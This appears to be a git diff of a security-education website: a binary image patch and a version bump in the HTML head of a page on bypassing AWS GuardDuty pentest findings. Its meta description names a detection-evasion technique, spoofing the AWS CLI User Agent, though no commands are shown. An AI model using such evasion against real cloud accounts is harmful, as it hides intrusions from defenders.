zt%8ZCqAD$$_TstSgn^!CX!=<5rg9odj5I&%Ap;)WT^L72;(Y*LJ4~Ng=J(sh6I;G-
z!-S80U@B2XX``-4;FO8G42q@dmY&k$0ug^HXmfo-J!?yqdlb|!L#bs+s4Q+9EkztO
z$dyEu8jC`o#_iRKLMbdMrX13&`L@WE;+_hfc!ZFPDhRWmq~qW^DT1~xS)`%dc6oOw
zR6pwmU56=yR!SGPLoBc)3|{S!ruF#SV7{g-bf8Fa2|)RdQ_s-6qw3YLN}*V}6i`SY
zidsjX?86a`nyY_?oY`)2B9ErQqL~*<I=O&V(8Z7&TmX!I#;w~Z+#{*sku)M)QkIV>
zwY}M<Q_)nP3K0oypXQptTvB1LsQlliZ?#;tM$>R`h#d>$=JSW=!xB<RLgI97zO{v6
zU)DU4+w`#ZT&hU?@$`tM`c2vjBLXY+5;#7Csa?~0PirbVG)7QIR;lGnyx!rqp`55G
zW&*!uwA9i-IW5LhCmHLz6h0LmJAUcD=i#~j!g;<vOkUyJ7HW$WKEljJkoY!m3W;Q`
zU@PqL2q$+sz14+6PI9bi_M^mBv&SfFdE6S_-?SA^t}xdZWTyOyZz>VMRkgU_voa0-
z-^}%w?B8)@wdGwgNYL&{k_Y_&SSL*rRzIpCRqk{V9CA+MLcFro9z~gh=6jKJS9B}o
zsJ`vtcVt<@(!K^+ZbV?&cB@qoXTMPDFCDrsNz<vF?)Z$~_NDQYwD__l_d)nFsFvH>
zA}e-ZhlWW>#+7Apl|>j}@`w9|UW2-d(Nz}LU#LnSzFtk58ednRzZHGt3d-F`K}yjO
z_Zx{465C$OK9DHSMip2%VC^>#dMVa4*Eq>YIG@%DUn5Gpr6h1D_-=k4tCyen^R?dH
z_bw7VWW`^4?3?iSSupg7Yy4v6hVpBy0jY@<?mFVLrC)bSFkOb;UC??p!9U+na&TLo
zHU8v4i}sMTLDvU$T4a4Tu(5CZcwy=pTKEROEn)&IWpHP$KCmAw{ob;=@o&q{_|a7r
zD&i^y6$<2%I6=4FoUoIK$LfrKyd(1x2UgHjSy0Ojjkn}}HAcv35~OV&i7EZ>YXfyY
zcQFLO0oPJ@Dt_Ls?k~-YC~V!aBptWi*g(TwU)<=?0$&-dl!+RIcBnS4cXx))8or*2
z?~S_f*^7;2=v%3ZNGo_wx%O%k+W5Ll)@gs~<=b#5?MkzD(?_)pWm)J_5CaY0)%>MF
z+1Tp8Td58$ySd|Ux|X|oy1}C!Z()2?L|~=j(5=hR4p6JWLR&a!(HFXhLTUZ@`P&WU
zB;(D=Wt}GlnX6p}{@14{I;1pyg}pfqA=G~91wg#V(gjQ*m6B#Te&E~c>vPJ+>${br
z1m2XgM%6&F-gD>1*~I3>Sfk$VQSD3nT??A04wpY@lSon`HmpQymgQFOX^@?MwUHcH
zGEfRmP%0&xxZtY404Qote)-zays#+ejGivG?Gv~jQfk9;@UK7E{3-L*F?@;6x2QFb
znwR=|cC|0tGsoZLs4KB7RavP}?nR+K5)oMAPhORStvAralSrrbbw*O34c4KI+TXmm
z<Pm?nl92*7i<kx|^|8G9pg?z%!Rd`sDHn0KZQ=HZ4@t5)5Q09b<hMvwN3=<nQ-WQe
z3NV!lO};;J=}&puI;Me7#!)Em*k@RDZC@y1Q7<`xgjI@+rt`IjdN}sk@jbSuff&I;
zCAqaPI4pe_b2$?0dCC4&eUCdYNYiMmkn93nil&lo+4{WM)|r;uHZ8FP*FqVcO8c#9
zzs`l3-rA#o*<M*5{!_<hI=vzomeeF9T|n>ADJQg4EkG+t2YKUPO=ul}>I<FL!MZ)g
zl^j)1q*G2+?M*SG=;0bQeahP^A1u_4F<|DoR^Q-`$Nct(jvg_~T!M=G9sN$+pPt%d
z)^o|~;Owu5L<L1DTbC--2nJIDJDxt`GM)~v%(G61&x`lF_Rk0IZ)knO*;TQha_r;C
zA1Wk-2uJCJId8{KKsx93c*`+m=o3`B>F}_*43p-N5j1JQn|D=C$yiF;S)O<0cJ!&$
zE?lyQV71q!c+q>R`B9vYhg%aQu<GofWhKi>^^D3%*}+}5tECE)`a_)|Z);(}sao9N
z60AAUCHj(nwp_fr5+Lf=L(ii01{i-k9M)EG%P;d=+{$xEG2T75Uf5@?GN8;=cbWLW
zHz$;+O<=f*8MiWqTQ-f#jOXP7TPAj2aP?C2GuQi)B*0q3UYB(B(FXkd)_ds$W#!hR
z;^Uwyx2o^;F9T(L9j}i@;I0MDnTt^{l+cO|QlTLGD7%>cImQA~6%u94edSAAtkqw-
z^U7uvHD`>SpXGyp0LE#S52J`hhHD=ru*xs3WxzcJ`C$lYv@SZ(Bnz#`K&=hG&0}mE
zx4T@@i&}>3@6^08;13P7!#+M(($$X?>ko#`(Nja>2`cxu82PM(AhQB@jq?Th=?<n8
z+Q<$RO3v5UHn)Aaa@=KOv_;)Qv&LAm4r5DJ4}HxPCRL84;iUVFMv$db2bm3OJ-9iz
z<dAPZhZUXSP|<47(Kt7!AhO!nbMeHzWeBa4Mk^0@98!&+^zvEOzO3>8?Lqg%UD?#K
zT2ew?KdY3;`@8hG)HjBq7zlG9(*Re&@}mF^BF};#(j=~AwP+8#K1jDza29*&T%@;#
zvJvZU1T>XNm}twPB)H^0sN==)zLF7ScF;aNQUfMVyEAr9K74xt{RQx&pZU^CfbDBd
zvPPOt0&KrF(WP?_M(2Yc!*m3%`?3LFl8b8d?VnTv*miuw*DRVBWSsR@QeN!)Slgt(
ziiT@fxE8qf;V$(o)L1dt#eB5ZaQv8ZS-_2vQj<zD0!QvaT_HO3h^$ePP7b?wWZ9t9
zFQ$0F&=!NUu%!a3g8dKDkN0rsKzrlUuqV4AlL}+`DC^A+y3;LfRHYNAW;O~k{BeR(
zZ_Ptn*9dn^U1GriuRXF};2z>M%SurPjZl8tV~1j;?fp=TKnz*bE<-xEUT8?AY>}Tq
z@fRQzQc5ex_1mH4NTpP1L#0Ahgi+IIg!J<D0T(t(3Ay1CZPMa%(5$9fUq!!SmJq!D
z(3UXBpi!HWdeOo-?c-gFKX}mZ?H)iX^2%0dS2DEYKgfJ^k+`bc<D;ErCIi_9N4+)B
z4%FL9PY139{dKDF@~)DMAxM0st+|*oAd&_`Hjv*!`^Jw#)^+XB*1od04*Xigg@k0$
zMjJ}Cs@!}eT`ICn3-t2bvscT9Lv}(mS!kW$5O`f%V@hZR(bi=Ea4rjVd!3@3r>3;>
zk5p%F&ijOP+T6yqBLMAr27et=J$-<;WCM$sg1a8a?N$#K+OFIBebNK4-E1<@bX-4r
z$}TgGM3{6OQ;pS+3h0U`-rbk=VbOYhuuPxAl2(b*?=eU%f!D~ZT^5A^!q~&6r`e&Y
zFErME%x9GR606d7^8Kx?AW%1Nm*6Ky+C6D#D6Z(_j$2pb?+LmWaMmlI+LL3iL@J_3
zyWEtQOu92bk9?;F%T%>HC0a{$@kQJ3Tok-5st3P#c>(k;2>8UG9;(<!XBO$!&F-;6
z8@pM}zsBd}VWyx=M}(BjuwJLz)_a^o@bQ4gErGV`BL?n5Y`ICNSjIFT-%F{avOtOh
zKbNSnQ*E^s=HN?7p^g|$>+W&ahAkzZ{B@9}brbTVpSjxVtADfoK6MW_c+_4&UMMOm
z2~r=2v8qGrBU(C-68cArPN=zaaMrSd#7a9-vhx!EA-&l8pdDmmzSp?CqL4`1=fJv6
z*%gH(<!~PU{7y3uBr!7g;yU;Ior-RWMRa~&PkSG=QcPK*PEh8Z*3uRjmq&mD&~v-I
z@vkoQ#j~1qOnK{M1&wjz<d=`EJ#od!lcrXB7BM7tMz$I&6H{I{g3MSQVuyOJe}{<0
z_&wF=_p#u_8lir`2G1NjzC75^sAajw&0>Ys4Q9H1<dQ-=Jmf=zkhLh^^*NUK4Sh>J
zENitm^Y$L6S3_%O*qZ*MEBx={5B^KOr9q=#Vx*FGOv15;9WN?DMnRej0eV=>C6lDW
z3)#6$4vn$a`tb!#?a=rLVhZTbxqR^7l!`2B8x#qw>NmQq2F$J-tGi;m5L~DB+Rmgi
zUYX->d>axAeDxIXH|BH>7BmZ-GO_Kd(n;@k{I)f36RFS)q%i)1Ihdw^Tpj5DPI8OL
zo2%|zsYpVtO_ok5<8#o}9ImuJeG}g*whiudE~Qqt=_-j&x_jECVACxZ3tAcOaY}XJ
zMBOue{Txy-`O3w99@?9zBzQ>Yl``Pvko4H^B?K528fO)}kK)cxSZf-puF4t>^t~Nd
z0;e7tb3X=Y+#@HVcr~cX<mK1cXRMS@5?DXYp>02=D%C)W#|x<{ND+ZmE>b<P8}K^)
zW9L#l@&apH3q>7uYN^p)8QIaa(q14U*#O!Ink|)7lnsr#>6SMw7}XMGzEgr2O<>xg
zd5Gjd<AyJU*v6?rq-f@CqD{pXMT?YqzSRh9<^Aa*mfUET<xA&!oXH(}<I5hc3%}*s
zYm*Duo9VU)EDccVDeZHO+gcy}L!ECvMU@{kZ<UZcT%YyTFy_aWC%;q#sSb&y8AZ{E
zN{h6VGhC|IKTz5!xtOCu5|2q#GF9}&pDA|Y4?c8+1$MA}N0tTZ{*k6{alOOd(@WwC
zAk7A3A&=9BH36n|qol=}YiY{bf*yf~M_&6cB@d^U3S!v?oOx*#taR;=gh4vuQ{HMW
z2^A_=vJUz5SK0~zN_tLva2g|jxjx_b*D;-PO-d@e+l8wsp3oWnv@J5+1&V((;rEv;
znvPPAMQ$HxWCDL|!|8SAP|nEZJFIK_Vr<>^q32lzxtAPTNHJHn){VAK!&Zbm_I#E%
z{<MJBULQkSr%btuOJ2SPblzxHx7SVNp1*6tZYNGdW5r4!5m*`U4(i>5&5_+=IJJ0M
z?Q!esqJTx#_>+>4s~M~E(n_V*F^3-5j}fL`c51N<c{swZTJhepBI~T6tFokhX91mC
zZdo~6iZZHlic%MU{joX#JbZJ|Lg^)WTrg#j&q;@cRO^gArO5irt+`2iNXM%cHNaD$
zQYbQddJDvrTmBTWkVn!E`PyQCUK;l^GZ(Z=#upw^w@HIqXmcDif8lYMB<k)Av|4{G
ziQ!85XV<SWKSUE)_6|L+OP8&HQX>G>WY<$kvMr!Nz)k~?xB@{wdLDeJXMJNsxizN|
zL>Owf9o;77#*v#JQ-_e9cw53LVs%Wd>d|}`5}%l+<Z&xR=%myrq~sWtMAMuX;k-Bt
z67o!YU6T?{n&~Xy9)G+_Njpdhm8E-uXLpj(ww(IR#VyZru3(f;DM&0#T>$)Q*{*;Z
zwoZf29vP|+C9TFIb5`l4`2gf=oo!UhfvhH_ri((RrpEC4qgzW$;ZZrC+W6H%6oF+s
z;5q4LuzP4HNKOr|VyS6`o8Ri7O9dy8<dn-<3iyQAc){kNsi$<5LQjhAM||NAw}eN)
z@q34>1k)gdY=8~>>5wV~+wYrEPy>`Ew8@hcebm*nKpm8Tz&|c{wUm{DjJjrN1=sX3
zrsvR7jbd!ZzLO)Y@Z#mH5Fb}u>!fwDiifnVV&Bu30iDF6^a0)HY|bK@kSY>2=!CAs
zU7DU-i4eMX(y3~sKmSva^Xa&p+#knis8w*VV@1c&re+Y+rRf=ym&fz+k<ORvkUjiK
zzpd&LXtklfh!5uv>3c+a3#<jH0xXt~PbTq?^}cUnb<qlBIYgMNY-%vu#*JZ0;soEe
z(Ui1)(Y|OJhcLzkJXw^^@9<;mQ!Yy33&g31alJlEGYh#vZd>GP7C0?n&UmqT8y|1n
zNfvwFOx=$(RVPm4PEogF39k~CzFGJEahd~ERPE%gPSQ24oC_%~W~r9OWeoLUOW{?&
zS7_P8j@_VZ#0M3*=kHpeF2ERQ)>CWzbd)4Ig2*;~lB*e`1~}Xo7t&wSO|2IVz8m#W
zdTsyL4lZ#wxAE^&_^|b%IW%5!0#CPxLTk0JF8)B4_BjAu-Q@a?Lhe$@G%Ix)N2RKn
z(kA~fu#c?DJz86-M^O%?Io?YZg8;tKmC&PM+nn_v1r^4rR}9*Zvth^|f8KEJcss)u
zu;&qteU?I=VCEv_EQO`%DC$aVzfszqQt7Iv+O*3FAh~?xt?0usHD82KoPp&dszr!d
za|K$EkgR?TM{2fuPrKgjr6LBb9fUhMvB(;KYS_|*W`HbT97-~#eJWI11CCd5#)9+W
zLTV0sMjT+8NM30pSN1y0Sa$KI)dwpgO`C`uwoLs7_q|3QD-x&#g?OTnY1DvS4k_)T
zue_1eNGnk6cG<WdYJZpa)q$?)l$FQJ<GZ@z)ZVwgOD-2IPSzp9qwT%23;x_h4^b-%
zwJ!BMN+G4J&J6UEbOkQK!?_mbj+Z>9;Y0d@b*;5T)7R@Y(w;w>e1YY<WEB_WgMahE
zpPJ~EEW5Qrz<N_Cl_;9!)F+8Xw_EU$7UP!c;A?@3>2I$V>27lD%i$7n@pQOeYWpzT
zcKO<{Ixt!so(uT36}-0a2{8&Z`q{UJb;T!X^^hr+x+eC=`btVQTN4!Z9)&0!%}Y^r
z;Xb3}FF%(mxl*b<FyDmhV@J+u*_2!`VAV@pbZa$<LwkRv2E~~2Iq{9%oZ}NMST$L_
zB<}neH$N=VMUq#F9C$y{6|*@mu&=8=1Jbj0#c_0WiyH!q4XB%a+uoFw_Q|*qUI2PZ
z5e-lShm4SmmP)Uc*qg*I%|WZWU=FUSgRO9xe$p#MoazwIdiE_>QZ0gw`<V~EdbO$M
zb(1c*`bdZ&Uw&C$s$y3+r4Jlcp>{1&1TGrwv_e?HNv|P}gmU+Yg}T;NewTbkyDYpi
zJZ`y+g}R{5<q*~FlGEM8@K|=~6w8BVtX}!L?uc5cyT*;d8SYzIA5-6-OosNPPBGOe
zk3nIe8|do3;YYte+g%K~rCUFOS_g%|Y38H)l7;Fog>5`+mT{c}beg$<@d^Dvc({CS
z3T{9bCa?U|lD)6$DZIw<SSeN5xFA*5NI@kkyN&j}isB<$M1@sqAHwz48UtM)46lz?
z`r2-s9#Z5FwUn|qVbfyCDa!Q#mME~Ca~yIZl@hBBNa9N!qDJ0w4I){8RV`I~I%|~n
zO4p3PY*teIDnhp`f2>fMz_Ophw%c8KC#2gBE%)aVA3lt;gtbJes*o(;g`ITU4|Pe9
zY*1ZLUgeOJ+R%Q86^87A8EwSh`W5ec{_F|ml*~!K-E^d(2IwAQ7t&j)vZV0UOPeh7
z9i+Ox9#J7xh2fDo`&3#M#UJQ!ABlAzEujYA`U+OAQZlU4;z1gGN-l4(N^7mPQRAYC
zb{^zt=i=pKkk|gz2Ist<I@aO&G_PG61Q6ebTvSo!*CEujSL*SQd05AKmiD>7S|}#4
zGSHKQwS~;_HywLA$VUFF1KDWF$6CW%qzeouXUc#kMOoHmU|v940()32(n*ip!>KUV
z$~&2Gnz$uBxwAV+td|ili&vXaJ0+`CTEc+ab{+WagcWAkPkpxCBS#5pUudLGfizkx
zi(7q4K<7$nqkwXg>z4QZa&nGNVruz^FNln-vwjt88sZCMGZr9Ae%(7}y9e=l$Lfwb
zmuM=JG}j!xQ<9|o_G81W@h1fwQia#zu3jUBQ3(NL$e@T9WOi)mAx#f%e>Tuz&+^a}
zS!@C;8~XcrA7}LssM<uBjzwJ|q`XGbTQ_S~*auEOc9|%nv`15_>$8tbr?={qeiSde
zOcgE}`;*sU8*#*JSl()5>L2O{uEHwiU05inr>+6kDk7^nsiAg}25r8X&Q+24KsyYj
zS)K8Lz2yT0y3kUz_-s=?cY#{Bkl#>=K@OqqD}!=zWQ`&)4MXA+5`qd_zU6-Fs)r^a
z)}|*E{ofs5<n7&j0wev|pZ3JVa89X;+5LBJ9lGK*d96m;szR$a+S;|I;BfZY1lD+K
zuB>lWW!AHizsp@wk9cT*Nol_ZbfmbANii2G3aR>^`nAwYi#uFpkim4s9<E+(lT#Q-
zZp1O*kVD)T38y%Ca>mQICi^yJt-D#P%MdAf(49*fy^=I;q%kF@ytkK*v*jfSk1`)k
zsYQ7C)loX1SKp7O;1V)cb4Zhr;ULwXn(}-~nRAr%7T}C6Rar~}y*D_I5=+`GA%P^&
zAZaxB^RC2v<vOcbAItUDuHS4&q`Uwx|M9{6CGHeZ<zo_PcE9hD44KXD*z3yTp+)44
z4`}V}&SchK<ZTi5iVUH=%F$bXoG$A^zgelEB+9c;&uP}z`k-Bc8bE5_@Jo==N83I~
zYu!j&!%b}AYk(ys{Ui&%r)^2N(R$=WN?vQ+^w$#ih;a7)@LFrX4yCpoCjoKkFy*xA
zKOs<NfrYw@+MeR%h08^Miw<2EmO28FTsUd?v!)_T0{wkds&UhPFJb|^_ix)1PPS{e
zyQfk6Udlt*I6jW3MY?I-j%)W|7f7F?Z}eUkh)ruHYmepQ%71M@`;{8oIh=NVDBm#^
zC!NA6s-qP~5yl7R);&%l*?Cg<03EJbNclkzwnE>yt%dqdtH&%AQeB5s+2ey$O(=Q$
zg?zt~S#Ui@Mrln-4X|{-t!m&>Bf0yL+P~C*PJg#@mmUw@={=iTp@p%H(@NWwj|E;C
z6)!PIuR!rs7N;kwN`^j%Xe+QKp;m%VUeKv#4WDcyj;ZJE-g!h`qk6yS5p`|qU-{73
zyJM)-SXD`=*_0||)Kx{<LZ5lnvy*xgwnUrCF)6F8smjm-PmO|GR;j*+U#zp*zwuP~
z^5dm)Zt48C<d$M>#FP+kH&5vlwu#BlTe&oIg~loLvivToquPK*`&~p+H!gHWEl`3r
z30%q{3eo2(pAtfiBbka-k`-xF)XraqU(MzRhgjn5VsWB@=N+*<OiII9KmJ}qgG|Fc
zy@4G)-4{(;DwjFRr!MV{{B=>*3T{kMo@KdZ>ZqXg-dw90<LX?RjQ(8;+?iQ!f80>`
zW6{&Wv&^_Q5Ws%1>nho%vC!~-(9#AHMS|=gLoZdTxU#%C;`Srwpn*>tPfgkI+P@v=
z15<a6KwNec$FG501w;Fsi;$Ab*M7}McQtHjskkU`^&2%f#}Y6USP>Kyk^~E%MhH_j
z1ynjkx~9_h1Rb<>b_vnqly5i$PciQWk6Msn7Z6)3M)XuI@hcgPwqjLIZOk<ea^RiU
zx^}+PAa^K`?d`H2k+-$_#cZv;Qe!XF-E;K3A#eO?an`k+Beu`t<Pdpu-fCi6HOlff
z&BAgUfkqg4->KWWUno!~blQ@>QcLD8?%X<Z-+6&mQc*2q^H|>MX#!u*_yHDk=#;Jn
zT8|i5!AeQ#BgQxi25ucSd$kLf1|{626h1_^BpvbVjaxlsK{nYDOZsJDZBh@pR&C&1
z*o=N=f9=Tm0R~^cbH<pX=;GS6$_JpMZi?lNk%aY|et)`nE49>`+GL5{g`eFnMu`cU
z1i%Xg^>#_lERuOG^+hdGrh74TafM)^0<|EVsxj16Z<f|Id^Lo@ew*s$=|x#K(B}Ix
z&)+rdc5Bj=8-s?%quu;m=tyKad3Y_R)|Zl=viOFSDbjjq|MW7JOrlu~w@5>xj9D+F
zH|#j|mtUb_739Q%3{3??iXAXatYI}cu`+b*P)Gm^MH00<3fj(}5?W+DFD2cEj|`O(
zX}V`znp!PXcl|RDRbv;omhy70EK?(mJb$<q8v8r0qzamSLz`3hYXfU?y30zeRD`d@
z_jF=VIq9LH$I@KYwdQkWN0%5XZCdOZnrm4TR<;Lm&p5t3-MYrw9j;GY$!loMkW$bl
z`DMXB<3Lw>S)*+~D1cj$C<isnB1)SFarG4j98!Z@mcJYxa5riG+DXdohM&?9dO^Ia
zpLiR8`nAkLkz@s0y<}uy7y7^=(AQ`e)rR|G1+NGUgMM`}j^Ggc))%gl3kAsqh!(Wf
zVpO%Bv^+fUUe8h5ca4<dz*=?KEoiNRDdjU^l;=vVv8cC9uZ_9c`8S;p>hy-qqw$Gg
zK`>ds?f@XS+64!Y_fJS4LbE|Zs@soxIbGW1#_7nfb?~FKS!b-;-`Zp90pIu4Cd=!I
zl&XbrS$d`UZn3FBoQ9gJ4Ol5hb=rrg;joG`>3ZSI@7lL5&o7kEU7#rRD37W7W~V0U
z8(QC}p!Owy^{3N99CAwop>ktt@R$!u)WKb|(X^*I<I|sO#tWQ%i%ZM2f8wJ-!?#PH
z>Pp+S>tWF@+~sjMQJ#aPbyw#vtR2wu=Do{`EA0(y*lxSf(~;332~IgVIeEH3G7f|D
zaG&-ODQDKhUt;QwpbK*k^N57xTM5a_L0HYk%f}P<)9XNiM75v|otfPQrIXAGg`~me
zr;M{dExuh+wUxB20y<YCT4bp{@nBm<7&6sx>OB&>hj7<@Onxm?^$3@iA<s3Mq!=X_
zw(KiyqR)pk7eKsR-8=8&pi5-685P>W!oMv!5o^17<4-D7=Zf{h1|SQHF!r@zqY!9A
zxNnE7_HSEADPFY*$~8a_&-F(vBYT6M=V;0MspV;^z4(x{$i_1z?bcQi@am$Yevk%b
z<Au@IcJ=*N6bo7;jRey5nxYQUdXHNh2pxvo+=I1W2rM~=v~_xnozpN%EJ^;-hK3(!
z(Xb2qLW{iiUmZ}DLstG^8I+gyQ}{Bc9BEK5%_~KY_Fq3VVvMe-y6Uh|Wa`hErY~Cc
zB{!N=C9o{W2yCz?v8`!ek7%+&yGKdsc(#2IrjKmiI!PCU1!bgl`#nz3YC~82MN)?s
z!g%@+e%z3ola|`ozg_SfDs&ztquG`LPty1w8N<(zlw+#@C|ej^`sL_QP@&Z?oO#P1
ze|KpTV%(BckL!~7&{7s*$i#RbcITZxE>Oq=OC^)VFS*shB}r0^on$_>tK!oB`6U@N
z>rxR#I#$b-KvPMn^KjlUEP0p`oIdEhTG3_^)2Eq+$uK?k_=O1m4IqEx&mDi`<fd=f
zI*&tW=iwYYu;oy0&kDQkdAruZHV6D-YONsY!r|B^Amf31o68AWIRPzIePs<w*&6Ca
z-yW~AkEZNLS6Lc;>FOU1Wf!Hs6mpIR-9VsenW}~C8Mn$}?F;*u=4utMha~});(N@R
zqp|;Lp9;IM=VMURQ?^FwfoGjFhb4-eR55`MsoQG{9W}BZ1zi&Jdc9TJOF=r>B3^SA
zfz^c@K`ykN#Y)B1&B@P4rVx%uEL4upIXdu`@YW@f0nmtHS})Lo+V+0`6jLr%4W%__
zF=fSlM1I8PsDH3Xy|!`2CY1`#H<t9WX=)29!Dy+>@z+IWU1R*x5@2}6nMR*kDQ2`j
zrva~u3qdO|(e@jg$BB4!Qz$r%)l;hKmC$jxizsYQhg+g!rAmdpMAL+o;-0FdvtENG
z3P;X*!8wc6wLhsLU3)ahEWK8DHL@;eg?>vdm5jFD7?+)};^nTofFD(mtVuFii1oTf
zUU9Vx6{=0JomN$hxhy|54_$f1r&j5QbiDG2(iVDOwL@KLs75THcUbgW!mL=*n`{ZX
za$A(@2GQm!W%yHy!i%B;3Z<8(<>sh^L*6xEb)kT#szRT46C8D~3sm)*hM#kwy=U_R
zT>kf*oNaof#+qq;34=YyQ;4oMl*`!QH^rICYCq=NrH=}q(2+(m?L$L_rW?QOLCaoA
oiE2KTV(B^cSklrneKYO<0nV8KRn)|9+yDRo07*qoM6N<$f<#|U$p8QV

literal 0
HcmV?d00001

diff --git a/aws/avoiding-detection/guardduty-pentest/index.html b/aws/avoiding-detection/guardduty-pentest/index.html
index ee44b9c32..14a29db52 100644
--- a/aws/avoiding-detection/guardduty-pentest/index.html
+++ b/aws/avoiding-detection/guardduty-pentest/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI."><link href=https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ rel=canonical><link href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ rel=prev><link href=../guardduty-tor-client/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Bypass GuardDuty Pentest Findings for the AWS CLI - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Bypass GuardDuty Pentest Findings for the AWS CLI - Hacking The Cloud"><meta property=og:description content="Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Bypass GuardDuty Pentest Findings for the AWS CLI - Hacking The Cloud"><meta property=twitter:description content="Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI."><link href=https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ rel=canonical><link href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ rel=prev><link href=../guardduty-tor-client/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Bypass GuardDuty Pentest Findings for the AWS CLI - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Bypass GuardDuty Pentest Findings for the AWS CLI - Hacking The Cloud"><meta property=og:description content="Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Bypass GuardDuty Pentest Findings for the AWS CLI - Hacking The Cloud"><meta property=twitter:description content="Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#bypass-guardduty-pentest-findings-for-the-aws-cli class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 